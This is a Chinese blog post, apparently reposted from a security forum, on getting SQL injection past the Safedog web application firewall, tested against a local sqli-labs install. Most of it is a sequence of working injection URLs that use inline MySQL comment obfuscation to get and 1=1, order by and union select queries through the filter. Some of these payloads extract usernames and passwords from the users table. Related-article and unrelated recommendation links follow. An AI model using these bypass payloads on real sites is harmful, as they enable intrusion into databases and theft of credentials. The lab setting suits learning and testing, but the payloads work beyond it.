在t00ls 里面我发的,放博客分享 记录一下

小菜写文章,太菜 希望大佬放过我!

 主要分享一下,绕狗的思路
环境:windows7 + phpstudy + safedog v4.0  + Mysql 5.2

cms: sql-labs

Mysql 注释符:#  -- /**/

0x01:
注入点:http://192.168.89.132/Sql/Less-1/?id=1

先从 and 1=1 绕过

http://192.168.89.132/Sql/Less-1/?id=1' and 1=1%23

有看过一些前辈的文章,多数都是利用注释符绕过 比如用 /*xxx*/

?id=1%27and/*xxx*/1=1/*xxx*/%23 (以前 前辈的文章 xxx 进行 字符随机 绕过)

然后我就直接用前辈的怼了一下,发现安全狗拦截 

想起CTF的  SQL 函数 进行FUZZ 套路,
首先 我放了一个 and   进去

http://192.168.89.132/Sql/Less-1/?id=1' and    (安全狗不拦截)

http://192.168.89.132/Sql/Less-1/?id=1' and  1=1  (安全狗拦截) 是空格出现的问题吗?  想到之前看过的文章 把空格 替换成 /**/  或者 /*xxxx*/ 
发现依旧拦截

http://192.168.89.132/Sql/Less-1/?id=1' an1d 1=1(安全狗不拦截)  这里SQL 语句报错, (单个 放and ,单个放 xxx=xxx 安全狗并不拦截 )     在and 和 xx =xx 放在一起进行了拦截

所以把 and xx=xx  的固定格式进行扰乱  把xx=xx 看做一个整体 放在/*!*/xx=xx/*!*/ 让waf匹配不到

and/**/1=1/**/  (安全狗拦截)

and/*!*/1=1/*!*/  (安全狗不拦截)

0x02:

现在 尝试 order by

http://192.168.89.132/Sql/Less-1/?id=1' order by   (安全狗不拦截)

http://192.168.89.132/Sql/Less-1/?id=1' order by  1(安全狗拦截)

按照刚刚的思路 进行模糊测试

http://192.168.89.132/Sql/Less-1/?id=1' order b1y 1(安全狗不拦截)

http://192.168.89.132/Sql/Less-1/?id=1' ord1er by 1(安全狗不拦截)

汇总不拦截:
http://192.168.89.132/Sql/Less-1/?id=1' order by   (安全狗不拦截)

http://192.168.89.132/Sql/Less-1/?id=1' order b1y 1(安全狗不拦截)

http://192.168.89.132/Sql/Less-1/?id=1' ord1er by 1(安全狗不拦截)

现在用刚刚 绕 and 1=1 的思路  来绕 order by

http://192.168.89.132/Sql/Less-1/?id=1' /*!order*/ by 1(安全狗不拦截)
http://192.168.89.132/Sql/Less-1/?id=1' order /*!by*/ 1(安全狗不拦截)
http://192.168.89.132/Sql/Less-1/?id=1' order by /*!1*/(安全狗不拦截)
http://192.168.89.132/Sql/Less-1/?id=1' order by /*!*/1/*!*/(安全狗不拦截)

0x03:
流程:
1. 判断存在注入  绕过测试
2. 判断列           绕过测试
3. SQL查询语句  绕过测试

SQL查询语句 绕过  这里以(union select 测试)

http://192.168.89.132/Sql/Less-1/?id=1' union select   (安全狗拦截)

测试了几组

http://192.168.89.132/Sql/Less-1/?id=1' union/*!*/select/*!*/
(安全狗拦截)

http://192.168.89.132/Sql/Less-1/?id=1' union /*!select*/

(安全狗拦截)

http://192.168.89.132/Sql/Less-1/?id=1' /*!union*//*!select */(安全狗拦截)

 发现刚刚的操作 不行了  于是乎 /*!50001*/ 这样想走一波   发现也不可以  这里我就不解释/*!50001*/  大佬们都知道

因为我记得去年 第一次绕狗的时候,还截图纪念了一下 用 /*!50001*/   附一下老图:

以前绕的payload:'/*!50001union*//*!select*/user,passwor fromusers
--   (可以多看一些前辈文章,即使老的payload 绕不过去了,思路太可贵了!)

后来想了一下继续打乱的方法
/*!90000xxx*/ 这样就可以  , 这里的xxx 是不执行的    但是可以起到扰乱的效果,  也就是在基础的/*!*/ 加点料

到这里还是采用了 0x01 的思路
and/**/1=1/**/  (安全狗拦截)

and/*!*/1=1/*!*/  (安全狗不拦截)

http://192.168.89.132/Sql/Less-1/?id=1%27union/*!90000aaa*/select/*!90000aaa*/%201,2,3%23  (安全狗不拦截)
http://192.168.89.132/Sql/Less-1/?id=1%27union/*!90000aaa*/select%201,2,3%23  (安全狗不拦截)

union/*!90000aaa*/select/*!90000aaa*/from  (安全狗不拦截)
union/*!90000aaa*/select/*!90000aaa*/from users (安全狗拦截)

模糊测试拦截位置
union/*!90000aaa*/select/*!90000aaa*/from us111ers (安全狗拦截)  更改了原本users  这里是为了猜测user 是否敏感

union/*!90000aaa*/select/*!90000aaa*/fr111om users (安全狗不拦截)

猜想 from xxx 拦截?

from xxx 
(安全狗不拦截)

union/*!90000aaa*/select/*!90000aaa*/from users

union select from xxx   也就是说 union select 是一个整体 在加上 from xxx会拦截

那么我把from xxx再放起来

http://192.168.89.132/Sql/Less-1/?id=-1%27union/*!90000aaa*/select%201,2,3/*!90000aaa*//*!90000aaa*/from%20information_schema.tables/*!90000aaa*/%23(安全狗不拦截)

http://192.168.89.132/Sql/Less-1/?id=-1%27union/*!90000aaa*/select%201,username,password/*!90000aaa*//*!90000aaa*/from%20users%20limit%202,1/*!90000aaa*/%23 (安全狗不拦截)

后面写了一个安全狗的tamper

绕狗的方法还有很多,继续学习·····

安全狗其实用参数污染 绕更方便一点。

绕最新版安全狗-附上sqlmap的tamper的更多相关文章

  1. 关于sqlmap当中tamper脚本编码绕过原理的一些总结(学习python没多久有些地方肯定理解有些小问题)

    sqlmap中tamper脚本分析编写 置十对一些编码实现的脚本,很多sqlmap里面需要引用的无法实现,所以有一部分例如keywords就只写写了几个引用了一下,其实这里很多脚本运用是可以绕过安全狗 ...

  2. 使用sqlmap中tamper脚本绕过waf

    使用sqlmap中tamper脚本绕过waf 刘海哥 · 2015/02/02 11:26 0x00 背景 sqlmap中的tamper脚本来对目标进行更高效的攻击. 由于乌云知识库少了sqlmap- ...

  3. (四)SQLMap之Tamper篡改脚本的类型、作用、适用场景

    目录结构 一.SQLMap中tamper的简介 1.tamper的作用 2.tamper用法 二.适配不同数据库类型的测试tamper 三.SQLMap中tamper篡改脚本的功能解释 一.SQLMa ...

  4. sqlmap中tamper脚本绕过waf

    0x00 背景 sqlmap中的tamper脚本来对目标进行更高效的攻击. 由于乌云知识库少了sqlmap-tamper 收集一下,方便学习. 根据sqlmap中的tamper脚本可以学习过绕过一些技 ...

  5. SQLMAP之tamper详解

    sqlmap 是一款注入神器广为人知,里面的 tamper 常常用来绕过 WAF ,很实用的模块,但是却常常被新手忽略(比如我),今天就整理总结一下 tamper 的用法以及 tamper 的编写 P ...

  6. 绕过WAF、安全狗知识整理

    0x01 前言 目前市场上的WAF主要有以下几类 1. 以安全狗为代表的基于软件WAF 2. 百度加速乐.安全宝等部署在云端的WAF 3. 硬件WAF WAF的检测主要有三个阶段,我画了一张图进行说明 ...

  7. sqlmap 使用总结

    一直在用sqlmap,一直在浅层的使用方面,所以我想深入了解一下sqlmap. 参考文章: Sqlmap使用教程[个人笔记精华整理]        http://www.vuln.cn/1992 sq ...

  8. SQLMAP大全

    转自:http://blog.csdn.net/zsf1235/article/details/50974194 本人小白,初次认识sqlmap,很多都是转载资料,只是学习研究一下! 练习的网站可以用 ...

  9. 绕过D盾安全狗连接菜刀

    0x00 各种奇葩符号 现在基本上没啥用了,毕竟几年前的小玩意儿 /;.xxx.asp;.jpg /;.asp/.jpg 像这种各位看官可以忽略了,毕竟某狗和某盾也不是吃干饭的,写出来只是为了纪念一下 ...

随机推荐

  1. 老男孩Python全栈学习 S9 日常作业 012

    1.斐波那契数列用递归实现:问第n个斐波那契数是多少 def fbnq(n): if n == 0 or n == 1: return 1 else: return fbnq(n-1)+fbnq(n- ...

  2. kubernetes之管理容器的计算资源

    资源类型 CPU 和 memory 都是 资源类型.资源类型具有基本单位.CPU 的单位是 core,memory 的单位是 byte.这些都统称为计算资源. CPU含义: CPU 资源的限制和请求以 ...

  3. go语言的开始入门(一)

    前言:作为Web开发人员掌握多种后台是必须的,趁自己有C语言的基础,所以尝试入门Golang (一).基本数据类型的认识 小结:int大小默认与系统相关,byte只能够存单字节,   (二).Gola ...

  4. 基于jeesite的cms系统(七):GlobalException全局异常和部署

    关于全局异常: 在业务代码中专注处理业务,而不是返回各种CodeMsg(比如这里只需要知道登录时成功还是失败,其余情况直接抛出异常),可以直接抛出异常,添加一个全局异常类,根据CodeMsg来生成异常 ...

  5. 线段树——习题、lazy解析

    习题: C. Cloud Computing lazy操作解析:

  6. #2 numpy pandas初步学习记录

    对numpy中的array进行了了解,array方法的取值arr_2d[0:2, 0:2] pandas 1,read_CSV方法 2,head方法 3,loc方法,取值前开后开, 4,replace ...

  7. Arduino—运算符

    赋值运算符: =    +=   -+     *=      /= %=       取余等于 &=    与等于 &=(与等于)对某个变量的值按位进行与运算,例如:G&=x ...

  8. 伯努利数学习笔记&&Luogu P3711 仓鼠的数学题

    新科技 Luogu P3711 题意 设$ S_{k,n}$表示$ \displaystyle\sum_{i=0}^n i^k$ 求多项式$\displaystyle\sum_{k=0}^n S_{k ...

  9. Capsules for Object Segmentation(理解)

    0 - 背景 今年来卷积网络在计算机视觉任务上取得的显著成果,但仍然存在一些问题.去年Hinton等人提出了使用动态路由的新型网络结构——胶囊网络来解决卷积网络的不足,该新型结构在手写体识别以及小图像 ...

  10. Java读取一个文本文件拼接成一个字符串(readFileToString)

    import java.io.BufferedReader; import java.io.File; import java.io.FileInputStream; import java.io.I ...